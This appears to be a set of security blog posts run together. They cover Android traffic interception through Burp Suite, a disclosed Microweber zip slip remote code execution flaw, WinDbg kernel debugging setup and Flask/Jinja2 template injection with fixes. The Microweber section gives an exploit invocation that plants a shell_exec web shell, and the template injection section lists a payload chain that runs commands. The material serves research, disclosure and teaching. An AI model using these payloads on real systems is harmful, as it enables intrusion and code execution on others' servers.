I was listening to a recent episode of Critical Thinking - Bug Bounty Podcast (Ep. 6)
and the technique of using adb reverse
to port forward across adb
for traffic inspection came up.
It’s a pretty nice way to stabilize and simplify your setup when inspecting traffic from an Android device through Burp Suite (or similar), so I want to do a quick write-up on it.
It also feels like a good time to consolidate some of my device setup notes since I’ve noticed that all of that parts
and pieces of getting a modern (Android 13) device with a version of Chrome >= 99 setup to inspect traffic
through Burp Suite are a bit scattered. Hopefully putting things all in one place helps jump start other people getting
their devices ready for pen testing and bug bounty research!
If you already have an Android device setup with Burp Suite inspecting traffic over Wi-Fi, the quick tip is that you can
remove Wi-Fi from the process entirely! Using adb reverse
lets you avoid having to update your manual proxy settings
to ensure that the IP of your Burp instance is up-to-date when DHCP is in play. Additionally, you don’t have to worry
about your devices being on the same Wi-Fi networks as the device’s network traffic will route through adb over the
USB cable.
The general syntax is:
adb reverse [--no-rebind] REMOTE LOCAL
and so a common use case would be:
adb reverse tcp:8080 tcp:8080
This will make it so that with a manual proxy of 127.0.0.1:8080
on your Android device, the traffic will proxy
nicely through a default configuration of Burp Suite since it binds to 127.0.0.1:8080
on your computer. You can
of course change the ports as needed for your setup1, but adb reverse tcp:8080 tcp:8080
works great for simple setups.
If you don’t already have your Android device setup to proxy through Burp Suite, this part is for you! Having just gone through setting up a new device (a Pixel 7 running Android 13) these consolidated steps work great for me, and should be fairly generic for other devices running newer versions of Android as well.
Some pre-requisites to note:
adb
setup
Navigate to Settings -> Network & internet -> Internet
Tap your current access point name (APN), then edit the connection and tap the Advacned options
drop-down.
Proxy
setting to Manual
, and set:
Proxy hostname: 127.0.0.1
Proxy port: 8080
Save
.Connect your phone to your computer, and fire up Burp Suite. Make sure Burp Intercept is off in the Proxy -> Intercept
tab.
Then flip to the Proxy -> HTTP History
tab so you can see incoming requests.
adb reverse tcp:8080 tcp:8080
On your device, in Chrome navigate to http://burp
In the top right, click on CA Certificate
. You should now have a cacert.der file in your Downloads folder.
adb pull /storage/emulated/0/Download/cacert.der ./
This step converts the downloaded Burp CA cert to the correct format needed to install the CA as a system cert. 2
openssl x509 -inform DER -in cacert.der -out cacert.pem
export BURP_HASH=$(openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1)
mv cacert.pem $BURP_HASH.0
This assumes your device is already rooted, and takes advantage of Magisk modules.3
adb push $BURP_HASH.0 /sdcard/
adb shell su -c mkdir -p /data/adb/modules/writable_system/system/etc/security/cacerts
adb shell su -c cp /sdcard/$BURP_HASH.0 /data/adb/modules/writable_system/system/etc/security/cacerts/
adb shell su -c chmod 644 /data/adb/modules/writable_system/system/etc/security/cacerts/$BURP_HASH.0
The above helps workaround some pretty common errors on newer versions of Android when it comes to attempting to make the file system writable. For example:
adb root
: adbd cannot run as root in production buildsadb remount
: /system/bin/sh: remount: inaccessible or not foundmount -o rw,remount /system
: mount: ‘/system’ not in /proc/mountsmount -o rw,remount /
: ‘/dev/block/dm-7’ is read-onlyCertificate transparency is enforced in Chrome for Android starting with Chrome 99. While generally a good thing for security, this prevents Chrome from loading pages proxied through Burp Suite, so a workaround is needed. 456
export SPKI_SIGNATURE=$(openssl x509 -inform der -in cacert.der -pubkey -noout | openssl pkey -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64)
# Replace with your generated SPKI in step 1
FLAGS="chrome --ignore-certificate-errors-spki-list=$SPKI_SIGNATURE"
# Create the flag files
echo "${FLAGS}" | adb shell su -c tee /data/local/chrome-command-line /data/local/android-webview-command-line /data/local/webview-command-line /data/local/content-shell-command-line /data/local/tmp/chrome-command-line /data/local/tmp/android-webview-command-line /data/local/tmp/webview-command-line /data/local/tmp/content-shell-command-line
# Set permissions on flag files
echo 'chmod 555 /data/local/*-command-line /data/local/tmp/*-command-line' | adb shell su
adb shell settings put global adb_enabled 1
adb shell su -c settings put global debug_app com.android.chrome
adb shell am force-stop com.android.chrome
adb shell am start -n com.android.chrome/com.google.android.apps.chrome.Main
Open up Chrome and visit your favorite website. You should see the traffic successfully intercepted by Burp in Proxy -> HTTP history
!
Microweber is an open-source content management system (CMS) that aims to simplify building websites with a drag and drop interface. It’s a PHP-based CMS with built-in blogging and e-commerce capabilities. Microweber also has a modular expansion system which, along with other features, is managed via an admin panel.
A directory traversal vulnerability was discovered in the Backup restore functionality, that allows an attacker to write arbitrary files to the file system in the web server’s user context via a specifically crafted zip file.
The zip slip vulnerability was discovered while exploring functionality within the Backup.php
script. The related
advisory summary can be found here.
In Backup.php on line 335, the path to the temporary zip extraction directory is defined within the current cache path
of the application, and then passed in as the target_dir
for extraction.
Following the execution path, the actual extraction
of the zip occurs within the native_unzip
method starting on line 185 of Unzip.php. The directory traversal attack
occurs is on line 240 of Unzip.php, where the $target_file_to_save
variable is defined.
Zip files allow file names to be defined somewhat arbitrarily, which means that the $name
variable is controllable
by the user and potentially includes relative paths (e.g. ../). Defining $target_file_to_save
with the string
concatenation $target_dir . $name
makes this vulnerable to a Zip Slip
directory traversal attack in the absence of additional file path validation or sanitization. The result of the string
concatenation is opened as the output file for the archive entry contents on line 252.
The impact of this vulnerability is that arbitrary paths can be provided within the zip such as
../../../../payload.php
and allow arbitrary files contained within the zip to be written to arbitrary directories on
the server in the user context of the web server. While the default proof-of-concept writes a php file within the web
root for code execution, an attacker can write arbitrary files outside of the web root in the user context of the web
server as well. Additionally, the extracted filenames are not sanitized against the dangerous file extension list,
enabling an extension filter bypass.
The following steps walk through the necessary sequence to exploit the zip slip directory traversal vulnerability in order to gain remote code execution (RCE). A proof-of-concept exploit script is available here.
In order to invoke all necessary APIs, a valid administrator user session must be present. Thus, an administrator username and password must be provided.
The zip slip approach is derived from ptoomey3’s evilarc project.
The proof-of-concept default payload is phpinfo() and is created using the Python native zipfile
module.
The payload is saved to <webroot>/userfiles/cache/
by default:
<?php phpinfo(); ?>
The equivalent command to create the zip with evilarc
is:
python evilarc.py -o unix -d 4 -f payload.zip payload.php -p userfiles/modules
Now that a malicious zip file has been created, it needs to be uploaded to the server. The file is uploaded as a
generic file via the /plupload
endpoint, and then moved into the backup directory in steps 4 & 5.
Knowing the webroot is necessary in the subsequent step as an absolute filepath is required to move the file into the
backup directory. The webroot of the site is determined the ?debug=true
output on the landing page, matching against
the DefaultController.php path. Everything preceding /src
is the webroot on the server file system.
A specific API endpoint /api/Microweber/Utils/Backup/move_uploaded_file_to_backup
exists to move files into the
backup directory, which is used to move the uploaded zip file into the backup directory.
Now that the malicious zip file is uploaded and moved into place, it’s time to extract it and exploit the zip slip directory traversal vulnerability.
Utilizing the /api/Microweber/Utils/Backup/restore
endpoing with id=payload.zip
triggers an insecure extraction
of the zip file.
The Microweber/Utils/Backup/restore
function will attempt to extract the provided zip filename from the backup
directory, but does not properly sanitize extracted filenames to prevent a zip slip.
Since the directory created to extract the zip files is within the webroot with a consistent depth of 4 from the root
(/storage/cache/backup_restore/<md5 hash>/
), a directory traversal of depth 4 will yield the webroot for a
standard installation.
As much as everyone loves a good phpinfo
page, shell_exec
is a much more interesting function to have access to
via a remote client.
Upload a shell_exec payload:
./microweber_rce.py --hostname "http://microwebertest.com" --username "admin" --password "password123" --payload '<?php if (isset($_REQUEST["fexec"])) {echo "<pre>" . shell_exec($_REQUEST["fexec"]) . "</pre>";} ?>'
Execute whoami
:
http://microwebertest.com/userfiles/cache/payload.php?fexec=whoami
With shell_exec
, an attacker can now download an execute an additional exploit and execute it. Or instead of
shell_exec
, and attacker could upload a PHP reverse shell directly.
Microweber responded very quickly and had a patch committed within a few of hours of verifying the vulnerability.
The patch addresses the
vulnerability by skipping filenames containing ..
in the backup, and was applied to both the zip_open
and
gzinflate
extraction execution trees.
On Debugger - Get IP
ipconfig /all
On Debuggee - Setup remote kernel debugging
In an admin cmd:
bcdedit /dbgsettings NET HOSTIP:<DEBUGGER_IP> PORT:50000
# e.g. bcdedit /dbgsettings NET HOSTIP:172.16.39.2 PORT:50000
# Confirm the settings & copy the 'key' value
bcdedit /dbgsettings
# Confirm debugging is on - Should say 'The operation completed successfully'
bcdedit /debug on
On Debugger - Install WinDbg Preview
On Debugger - Open up WinDbg
# Configure WinDbg to listen for a remote kernel debugging connection
File -> Attach to kernel -> Net (tab)
Port: 50000
Key: <insert key from debuggee>
Target: <leave blank>
Click OK
The result should show something like:
Usering NET for debugging
Waiting to reconnect...
On Debuggee - Reboot the VM
On Debugger - Wait for WinDbg to show something like
You can get the target MAC address by running .kdtargetmac command.
Connected to Windows 10 19041 x64 target at (Thu Jan 28 07:46:07.981 2021 (UTC - 8:00)), ptr64 TRUE
Kernel Debugger connection established.
Symbol search path is: srv*
Executable search path is:
Windows 10 Kernel Version 19041 MP (1 procs) Free x64
Edition build lab: 19041.1.amd64fre.vb_release.191206-1406
Machine Name:
Kernel base = 0xfffff805`69c00000 PsLoadedModuleList = 0xfffff805`6a82a2f0
System Uptime: 0 days 0:00:00.846
KDTARGET: Refreshing KD connection
On Debugger - WinDbg may (or may not) break the debuggee on boot. If it does hit the ‘Go’ button in the top left (sometimes takes 2-3 clicks)
On Debugger - In WinDbg you should be able to click ‘Break’ in the top left (sometimes take 2-3 clicks) to pause the debugee VM
On Debuggee - An easy way to test this is working is to open cmd.exe and watch for the flashing cursor
On Debugger - Click ‘Break’ in WinDbg and the flashing cursor should freeze, and the VM will become unresponsive to direct user input
On Debugger - Click ‘Go’ in WinDbg and the flshing cursor should start flashing again and the VM will become responsive
On Debugger - In WinDbg click ‘Break’
On Debugger - ‘Debuggee is running…’ should be replaced with a command prompt something like ‘0: kd>’
On Debugger - Run .reload
to load the MS symbols
On Debugger - Run lm
and you should see a list of modules on the debugee
That definition of SSTI is still a little vague though, so what does it really look like? Let’s use Jinja2 in a Flask App as an example.
When rendering a response to the user, if the template (or underlying string) is composed with raw, unsanitized user input prior to being rendered then there is a good chance that it is vulnerable to SSTI. The vulnerability would most likely come in the form of string concatenation or string substitution.
String Concatentation1
@app.route("/page")
def page():
name = request.values.get('name')
return render_template_string('Hello ' + name + '!').render()
String Substitution/Formatting2
@app.errorhandler(404)
def page_not_found(e):
template = '''<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>''' % (request.url)
return render_template_string(template), 404
In both of those cases, the user input is injected into the template prior to being rendered. Tim Tomes does a great job detailing how to exploit SSTI in his blog post so I’m not going to rehash it here. The TL;DR is that SSTI in these scenarios leads trivially to RCE.
Okay, so that’s a problem, but how do you fix this? Ditch Jinja and Flask? Nah, there’s an easier way. Render with context! Does that sound a bit familiar? It should! Rendering with context is like using a prepared statement in SQL queries. When done properly it helps protect your application against this kind of attack.
context = {
'name': request.values.get('name')
}
return render_template_string('Hello {{ name }}!', **context)
template = '''<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>{{ url }}</h3>
</div>'''
context = {
'url': request.url
}
return render_template_string(template, **context), 404
Or ideally, render via a static template file
resp_code = 200
context = {
'name': name,
'url': request.url
}
return render_template('my_template.html', **context), resp_code
SSTI shares many similarities with SQL injection. SQL injection vulnerabilities commonly occur from both string
concatenation and improper use of prepared statements. In the case of SSTI, the analogous mistake to SQL injection’s
improper use of prepared statements is passing a template with direct user input into render_template_string
instead
of using a variable within the template and passing the user input in via context.
The bottom line is that if you’re rendering content with user input, make sure that you use a variable in the template and render it with context to safely include user input on the resulting page.
If you’re not already familiar with SSTI in Flask/Jinja2, you may be wondering what an exploit of this would look like. Tim Tomes’ post does a very detailed walkthrough of it all, but I’ll try to provide a condensed version here.
# Is it vulnerable?
{{7*7}}
# How to we get to the root, Object class? This also implies which version of python is running
{{ ''.__class__.__mro__ }}
# Use the root object class to then get the entire class tree via its subclasses
{{ ''.__class__.__mro__[1].subclasses__() }}
# Find an interesting subclass such as <type 'file'> or <class 'subprocess.Popen'> and interact with the host
# subprocess.Popen example
{{ ''.__class__.__mro__[1].__subclasses__()[213]('/usr/bin/whoami', shell=True, stdout=-1).communicate() }}